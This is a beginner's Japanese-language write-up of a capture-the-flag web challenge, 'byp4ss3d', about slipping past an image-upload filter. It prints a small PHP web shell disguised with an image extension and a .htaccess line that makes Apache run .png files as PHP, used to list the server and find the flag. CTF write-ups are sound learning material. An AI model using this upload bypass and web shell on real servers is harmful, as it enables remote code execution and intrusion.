はじめに
CTF初心者が様々な記事を参考にしながら挑戦しているので、用語や解説等で間違いがあれば気軽にコメントください!
Web Exploitation
byp4ss3d
説明
A university's online registration portal asks students to upload their ID cards for verification. The developer put some filters in place to ensure only image files are uploaded but are they enough? Take a look at how the upload is implemented. Maybe there's a way to slip past the checks and interact with the server in ways you shouldn't.
翻訳
大学のオンライン登録ポータルでは、学生に身分証明書のアップロードによる本人確認を求めています。開発者は画像ファイルのみがアップロードされるようフィルタリングを施しましたが、それだけで十分でしょうか?アップロードの実装方法を確認してみましょう。チェックをすり抜け、本来あるべきでない方法でサーバーとやり取りする方法があるかもしれません。
アップロードファイルがそのまま表示されているここが怪しそう。
images/ファイル名.拡張子(.png .jpg .gif)
説明から、画像ファイル云々と記載されているので次のphpファイルの拡張子を(.png .jpg .gif)のどれかに変更してアップロードしてみる。
<?php
echo(system("ls /"));
?>
結果

Not allowedにならなかったからいけそう。
でもどうすればいいんだ...?
ヒント1
Apache can be tricked into executing non-PHP files as PHP with a .htaccess file.
翻訳
Apacheは、.htaccessファイルを使用して、PHP以外のファイルをPHPとして実行するように仕向けることができます。
.htaccessというものがあるのでそれを使うっぽい。
調べてみると、AddTypeというディレクティブで拡張子とMIMEタイプを紐づけることで.php以外でphpファイルを実行できるようになるみたい
以下の設定ファイルをアップロードして再度試してみる
AddType application/x-httpd-php .png
あとはflagがないかfindで探すだけ
<?php
echo(system("find / -name flag*"));
?>
Crack the Gate 2
作成中


